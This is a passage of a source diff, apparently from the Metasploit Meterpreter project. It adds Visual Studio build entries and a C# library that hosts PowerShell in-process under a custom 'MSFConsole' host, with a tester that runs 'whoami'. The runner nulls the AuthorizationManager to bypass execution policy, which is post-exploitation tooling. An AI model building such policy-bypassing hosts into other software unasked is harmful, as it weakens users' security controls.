{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.r7_debug|x64.ActiveCfg = r7_release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.r7_release|x64.ActiveCfg = r7_release|Win32
|
||||
@ -131,6 +223,14 @@ Global
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|Win32.Build.0 = Release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|x64.ActiveCfg = Release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|x64.Build.0 = Release|Win32
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.Debug|Win32.Build.0 = Release|Win32
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.Debug|x64.ActiveCfg = Release|x64
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.Debug|x64.Build.0 = Release|x64
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -139,12 +239,28 @@ Global
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.Release|Win32.Build.0 = Release|Win32
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.Release|x64.ActiveCfg = Release|x64
|
||||
{5104C280-92CA-4317-922C-1EF73DE1C6C1}.Release|x64.Build.0 = Release|x64
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|Win32.Build.0 = r7_release|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|x64.ActiveCfg = r7_release|x64
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|x64.Build.0 = r7_release|x64
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_release|x64.Build.0 = r7_release|x64
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|Win32.ActiveCfg = r7_release|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|x64.ActiveCfg = r7_release|x64
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.Debug|Win32.Build.0 = Release|Win32
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.Debug|x64.ActiveCfg = Release|x64
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.Debug|x64.Build.0 = Release|x64
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -153,6 +269,14 @@ Global
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.Release|Win32.Build.0 = Release|Win32
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.Release|x64.ActiveCfg = Release|x64
|
||||
{42E143CB-6086-4FF1-A4AE-D8545782DD31}.Release|x64.Build.0 = Release|x64
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.Debug|Win32.Build.0 = Release|Win32
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.Debug|x64.ActiveCfg = Release|x64
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.Debug|x64.Build.0 = Release|x64
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -161,6 +285,14 @@ Global
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.Release|Win32.Build.0 = Release|Win32
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.Release|x64.ActiveCfg = Release|x64
|
||||
{FB776F5E-BF58-478F-94EE-5B69D84DB9ED}.Release|x64.Build.0 = Release|x64
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.Debug|Win32.Build.0 = Release|Win32
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.Debug|x64.ActiveCfg = Release|x64
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.Debug|x64.Build.0 = Release|x64
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -169,6 +301,22 @@ Global
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.Release|Win32.Build.0 = Release|Win32
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.Release|x64.ActiveCfg = Release|x64
|
||||
{1C307A8B-A88E-43EE-8E80-01E6EFE38697}.Release|x64.Build.0 = Release|x64
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.Debug|Win32.Build.0 = Release|Win32
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.Debug|x64.ActiveCfg = Release|x64
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.Debug|x64.Build.0 = Release|x64
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.r7_release|x64.Build.0 = r7_release|x64
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.Release|Win32.Build.0 = Release|Win32
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.Release|x64.ActiveCfg = Release|x64
|
||||
{28D39E90-259B-4DCE-88A7-7D2B568809DC}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
6
powershell/.gitignore
vendored
Normal file
6
powershell/.gitignore
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
*.dll
|
||||
Debug
|
||||
Release
|
||||
*.tlb
|
||||
*.suo
|
||||
*.ncb
|
52
powershell/MSF.Powershell/MSF.Powershell.csproj
Executable file
52
powershell/MSF.Powershell/MSF.Powershell.csproj
Executable file
@ -0,0 +1,52 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{FA166AAC-7D05-4B71-99CE-015C9BD23483}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>MSF.Powershell</RootNamespace>
|
||||
<AssemblyName>MSF.Powershell</AssemblyName>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
|
||||
<SpecificVersion>False</SpecificVersion>
|
||||
<HintPath>..\lib\System.Management.Automation.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Runner.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
28
powershell/MSF.Powershell/MSF.Powershell.sln
Executable file
28
powershell/MSF.Powershell/MSF.Powershell.sln
Executable file
@ -0,0 +1,28 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.40629.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MSF.Powershell", "MSF.Powershell.csproj", "{FA166AAC-7D05-4B71-99CE-015C9BD23483}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MSF.PowershellTester", "MSF.PowershellTester\MSF.PowershellTester.csproj", "{E19828C6-E40D-4CAE-8D49-5F4892DFD4B7}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{FA166AAC-7D05-4B71-99CE-015C9BD23483}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{FA166AAC-7D05-4B71-99CE-015C9BD23483}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{FA166AAC-7D05-4B71-99CE-015C9BD23483}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{FA166AAC-7D05-4B71-99CE-015C9BD23483}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{E19828C6-E40D-4CAE-8D49-5F4892DFD4B7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{E19828C6-E40D-4CAE-8D49-5F4892DFD4B7}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{E19828C6-E40D-4CAE-8D49-5F4892DFD4B7}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{E19828C6-E40D-4CAE-8D49-5F4892DFD4B7}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
6
powershell/MSF.Powershell/MSF.PowershellTester/App.config
Executable file
6
powershell/MSF.Powershell/MSF.PowershellTester/App.config
Executable file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
|
||||
<supportedRuntime version="v2.0.50727"/></startup>
|
||||
</configuration>
|
59
powershell/MSF.Powershell/MSF.PowershellTester/MSF.PowershellTester.csproj
Executable file
59
powershell/MSF.Powershell/MSF.PowershellTester/MSF.PowershellTester.csproj
Executable file
@ -0,0 +1,59 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{E19828C6-E40D-4CAE-8D49-5F4892DFD4B7}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>MSF.PowershellTester</RootNamespace>
|
||||
<AssemblyName>MSF.PowershellTester</AssemblyName>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\MSF.Powershell.csproj">
|
||||
<Project>{fa166aac-7d05-4b71-99ce-015c9bd23483}</Project>
|
||||
<Name>MSF.Powershell</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
17
powershell/MSF.Powershell/MSF.PowershellTester/Program.cs
Executable file
17
powershell/MSF.Powershell/MSF.PowershellTester/Program.cs
Executable file
@ -0,0 +1,17 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace MSF.PowershellTester
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
var x = MSF.Powershell.Runner.Get("Default");
|
||||
System.Console.Write(x.Execute("$x = $(whoami)"));
|
||||
System.Console.Write(x.Execute("$x"));
|
||||
MSF.Powershell.Runner.Remove("Default");
|
||||
}
|
||||
}
|
||||
}
|
36
powershell/MSF.Powershell/MSF.PowershellTester/Properties/AssemblyInfo.cs
Executable file
36
powershell/MSF.Powershell/MSF.PowershellTester/Properties/AssemblyInfo.cs
Executable file
@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("MSF.PowershellTester")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("MSF.PowershellTester")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2016")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("2e110f97-a562-43a8-9ba3-25dfa7d73b9d")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
36
powershell/MSF.Powershell/Properties/AssemblyInfo.cs
Executable file
36
powershell/MSF.Powershell/Properties/AssemblyInfo.cs
Executable file
@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("MSF.Powershell")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("MSF.Powershell")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2016")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("90b5c30b-96da-4b94-941a-3fb826c50509")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
360
powershell/MSF.Powershell/Runner.cs
Executable file
360
powershell/MSF.Powershell/Runner.cs
Executable file
@ -0,0 +1,360 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Management.Automation.Host;
|
||||
using System.Management.Automation.Runspaces;
|
||||
using System.Text;
|
||||
|
||||
namespace MSF.Powershell
|
||||
{
|
||||
public class Runner : IDisposable
|
||||
{
|
||||
// We use a dictionary of runners based on ID, this means that we can maintain
|
||||
// separate sessions if we want to.
|
||||
private static Dictionary<string, Runner> _runners;
|
||||
private InitialSessionState _state;
|
||||
private CustomPSHost _host = null;
|
||||
private Runspace _runspace = null;
|
||||
private string _id;
|
||||
|
||||
static Runner()
|
||||
{
|
||||
System.Diagnostics.Debug.Write("Static constructor called");
|
||||
_runners = new Dictionary<string, Runner>();
|
||||
}
|
||||
|
||||
public static string Execute(string id, string ps)
|
||||
{
|
||||
System.Diagnostics.Debug.Write(string.Format("Executing command on session {0}", id));
|
||||
if (!_runners.ContainsKey(id))
|
||||
{
|
||||
_runners.Add(id, new Runner(id));
|
||||
}
|
||||
var runner = _runners[id];
|
||||
return runner.Execute(ps);
|
||||
}
|
||||
|
||||
public static Runner Get(string id)
|
||||
{
|
||||
if (!_runners.ContainsKey(id))
|
||||
{
|
||||
_runners.Add(id, new Runner(id));
|
||||
}
|
||||
return _runners[id];
|
||||
}
|
||||
|
||||
public static void Remove(string id)
|
||||
{
|
||||
if (_runners.ContainsKey(id))
|
||||
{
|
||||
_runners[id].Dispose();
|
||||
_runners.Remove(id);
|
||||
}
|
||||
}
|
||||
|
||||
public Runner(string id)
|
||||
{
|
||||
_id = id;
|
||||
_state = InitialSessionState.CreateDefault();
|
||||
_state.AuthorizationManager = null;
|
||||
|
||||
_host = new CustomPSHost();
|
||||
|
||||
_runspace = RunspaceFactory.CreateRunspace(_host, _state);
|
||||
_runspace.Open();
|
||||
}
|
||||
|
||||
public string Execute(string ps)
|
||||
{
|
||||
using (Pipeline pipeline = _runspace.CreatePipeline())
|
||||
{
|
||||
pipeline.Commands.AddScript(ps);
|
||||
pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
|
||||
pipeline.Commands.Add("out-default");
|
||||
pipeline.Invoke();
|
||||
}
|
||||
|
||||
return _host.GetAndFlushOutput();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_runspace != null)
|
||||
{
|
||||
_runspace.Close();
|
||||
_runspace.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
private class CustomPSHost : PSHost
|
||||
{
|
||||
private Guid _hostId;
|
||||
private CustomPSHostUserInterface _ui = null;
|
||||
|
||||
public CustomPSHost()
|
||||
{
|
||||
_hostId = Guid.NewGuid();
|
||||
_ui = new CustomPSHostUserInterface();
|
||||
}
|
||||
|
||||
public string GetAndFlushOutput()
|
||||
{
|
||||
var output = _ui.ToString();
|
||||
_ui.Clear();
|
||||
return output;
|
||||
}
|
||||
|
||||
public override System.Globalization.CultureInfo CurrentCulture
|
||||
{
|
||||
get { return System.Threading.Thread.CurrentThread.CurrentCulture; }
|
||||
}
|
||||
|
||||
public override System.Globalization.CultureInfo CurrentUICulture
|
||||
{
|
||||
get { return System.Threading.Thread.CurrentThread.CurrentUICulture; }
|
||||
}
|
||||
|
||||
public override void EnterNestedPrompt()
|
||||
{
|
||||
}
|
||||
|
||||
public override void ExitNestedPrompt()
|
||||
{
|
||||
}
|
||||
|
||||
public override Guid InstanceId
|
||||
{
|
||||
get { return _hostId; }
|
||||
}
|
||||
|
||||
public override string Name
|
||||
{
|
||||
get { return "MSFConsole"; }
|
||||
}
|
||||
|
||||
public override void NotifyBeginApplication()
|
||||
{
|
||||
}
|
||||
|
||||
public override void NotifyEndApplication()
|
||||
{
|
||||
}
|
||||
|
||||
public override void SetShouldExit(int exitCode)
|
||||
{
|
||||
}
|
||||
|
||||
public override PSHostUserInterface UI
|
||||
{
|
||||
get { return _ui; }
|
||||
}
|
||||
|
||||
public override Version Version
|
||||
{
|
||||
get { return new Version(0, 1); }
|
||||
}
|
||||
}
|
||||
|
||||
private class CustomPSHostUserInterface : PSHostUserInterface
|
||||
{
|
||||
private StringBuilder _buffer;
|
||||
private CustomPSHostRawUserInterface _rawUI;
|
||||
|
||||
public CustomPSHostUserInterface()
|
||||
{
|
||||
_buffer = new StringBuilder();
|
||||
_rawUI = new CustomPSHostRawUserInterface();
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return _buffer.ToString();
|
||||
}
|
||||
|
||||
public void Clear()
|
||||
{
|
||||
_buffer.Remove(0, _buffer.Length);
|
||||
}
|
||||
|
||||
public override Dictionary<string, System.Management.Automation.PSObject> Prompt(string caption, string message, System.Collections.ObjectModel.Collection<FieldDescription> descriptions)
|
||||
{
|
||||
return new Dictionary<string, System.Management.Automation.PSObject>();
|
||||
}
|
||||
|
||||
public override int PromptForChoice(string caption, string message, System.Collections.ObjectModel.Collection<ChoiceDescription> choices, int defaultChoice)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
public override System.Management.Automation.PSCredential PromptForCredential(string caption, string message, string userName, string targetName, System.Management.Automation.PSCredentialTypes allowedCredentialTypes, System.Management.Automation.PSCredentialUIOptions options)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
public override System.Management.Automation.PSCredential PromptForCredential(string caption, string message, string userName, string targetName)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
public override PSHostRawUserInterface RawUI
|
||||
{
|
||||
get { return _rawUI; }
|
||||
}
|
||||
|
||||
public override string ReadLine()
|
||||
